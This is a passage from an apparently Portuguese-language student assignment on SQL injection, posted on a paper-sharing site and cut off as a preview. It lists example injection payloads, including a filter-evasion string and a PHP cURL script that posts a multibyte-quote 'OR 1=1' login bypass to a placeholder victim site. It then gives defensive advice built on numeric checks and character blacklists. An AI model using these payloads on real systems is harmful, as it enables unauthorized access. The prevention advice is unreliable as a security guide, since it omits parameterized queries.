TrabalhosGratuitos.com - Trabalhos, Monografias, Artigos, Exames, Resumos de livros, Dissertações
Pesquisar

Atps Desenvolvimente De Software

Trabalho Universitário: Atps Desenvolvimente De Software. Pesquise 860.000+ trabalhos acadêmicos

Por:   •  3/6/2014  •  1.193 Palavras (5 Páginas)  •  296 Visualizações

Página 1 de 5

mário

Etapa III - Su3

Passo 1 3

Passo 2 4

Passo 3 ...5

Passo 4 7

Bibliografia - 10

ETAPA III

Passo 1

A leitura ajudou a entender os conceitos sobre o ataque do SQL Injection e métodos para evitá-lo.

Passo 2

Abaixo mais três exemplos de SQL Injection:

Signature Evasion (Invasão de Assinatura);

NULL%0aOR%0a'value'='value'/*

O que teremos no server?

NULL

OR

'value'='value'/*

Arbitrary String Patterns

Incorrect Type Handling (Manuseio do Tipo incorreto);

is_numeric($_GET['id'])) ? $id = $_GET['id'] : $id = 1; $news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );

O que fazemos é checar que $_GET[ 'id' ] e um número se for TRUE retorna $id=$_GET[ 'id' ] e se for falso seta o $id para 1.

Filter Bypassing (Filtro Ignorado);

<?php $url = "http://www.victimsite.com/login.php"; $ref

= "http://www.victimsite.com/index.php"; $session =

"PHPSESSID=abcdef01234567890abcdef01"; $ch =

curl_init(); curl_setopt( $ch, CURLOPT_URL, $url

); curl_setopt( $ch, CURLOPT_REFERER, $ref );

curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );

curl_setopt( $ch, CURLOPT_COOKIE, $session );

curl_setopt( $ch, CURLOPT_POST, TRUE );

curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" .

chr(0xbf) . chr(0x27) .

"OR 1=1/*&submit=1" ); $data = curl_exec( $ch ); print(

$data ); curl_close( $ch ); ?>

Passo 3

Pesquisar como evitar ataques SQL INJECTION utilizando as linguagens PHP, ASP e JSP

Para evitar ataques SQL Injection é necessário verificar se todo parâmetro passado para o site é tratado antes que seja concatenado na query.

Por exemplo, nunca fazer simplesmente:

// ASP

consulta = "DELETE FROM tabela WHERE id_tabela = " & Request.Form("id")

// PHP

$consulta = "DELETE FROM tabela WHERE id_tabela = " . $_POST[id];

Em vez disso, trate primeiro o Request.Form("id") ou $_POST[id], como neste exemplo:

//ASP

If IsNumeric(Request.Form("id")) Then

consulta = "DELETE FROM tabela WHERE id_tabela = " & Request.Form("id")

Else

Response.Write "Dados Inválidos"

Response.End

End If

//PHP

if (is_numeric($_POST[id])) {

$consulta = "DELETE FROM tabela WHERE id_tabela = " . $_POST[id];

} else {

die("Dados inválidos");

}

No ASP poderíamos ter especificado simplesmente o Request("id"), entretanto este não valida se os dados foram passados pelo método GET (parâmetro especificado na URL) ou POST (dados enviados por formulário que não aparecem na URL), então a pessoa mal-intencionada poderia passar o "id" pela URL. Ao invés disso deve-se usar:

Request.QueryString("id") -> se o "id" tiver que ser passado via GET

Request.Form("id") -> se o "id" tiver que ser passado via POST

No PHP a mesma coisa, ao invés de simplesmente validar $id, valide:

$_GET[id] -> se o "id" tiver que ser passado via GET

$_POST[id] -> se o "id" tiver que ser passado via POST

Para campos com strings é aconselhável checar pelos caracteres:

" (aspas duplas)

' (aspas simples)

(espaços)

; (ponto e vírgula)

= (sinal de igual)

< (sinal de menor que)

> (sinal de maior que)

! (ponto de exclamação)

-- (dois hifens, indica início de comentário em alguns bancos)

# (sustenido ou jogo-da-velha, indica início de comentário em alguns bancos)

...

Baixar como (para membros premium)  txt (7.2 Kb)  
Continuar por mais 4 páginas »
Disponível apenas no TrabalhosGratuitos.com